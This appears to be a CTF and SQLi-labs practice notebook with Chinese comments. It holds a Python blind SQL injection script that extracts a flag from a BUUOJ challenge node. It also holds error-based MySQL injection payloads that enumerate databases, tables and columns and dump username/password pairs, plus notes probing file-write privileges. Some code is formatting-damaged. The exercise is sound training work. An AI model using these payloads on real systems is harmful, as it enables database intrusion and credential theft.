import requests import time url = 'http://2bd5e0bf-74ef-4b72-90b8-315541a82d9d.node3.buuoj.cn/' flag="" for x inrange(1,43): l = 32 r = 126 while r > l: mid = int((l+r+1) / 2) x = str(x) y = str(mid) id = {"id":'if(ascii(substr((select(flag)from(flag)),'+x+',1))>='+y+',1,0)'} response = requests.post(url=url,data=id) if"Hello"in response.text: l = mid else: r = mid-1 time.sleep(0.03) flag+=(chr(int(r))) print(chr(int(r))) print(flag)
?id=' union select 1,count(\*),concat('~',(select database()),'~',floor(rand()*2)) as a from information_schema.tables group by a--+
查当前库
1
?id=-1' union select count(\*),1, **concat('~',(select concat(table_name) from information_schema.tables where table_schema=database() limit x,1)**,'~',floor(rand()*2)) as a from information_schema.tables group by a--+
修改x可以查各个表名
?id=-1’ union select count(*),1, concat(‘~‘,(select column_name from information_schema.columns where table_name=’users’ limit x,1),’~’,floor(rand()*2)) as a from information_schema.tables group by a–+
修改x可以查各个列名
1
?id=-1' union select count(*),1, concat('~',(select concat_ws('[',password,username) from users limit x,1),'~',floor(rand()*2)) as a from information_schema.tables group by a--+
?id=-1" union select count(*),1, concat('~',(select concat(table_name) from information_schema.tables where table_schema=database() limit x,1),'~',floor(rand()*2)) as a from information_schema.tables group by a--+
查表
差不多……
Less-7
outfile又不懂辽……
?id=1’–+ 只提示有错误……没有错误的回显了。查资料辽。
?id=1‘)) and (select count(*) from mysql.user)>0 –+
判断有没有文件写入权限,不过只显示有错误,不知道是不是语法错误……
?id=1’)) and if((select count(*) from mysql.user)>0,1,1) –+ 进入,应该是没有写入/写出权限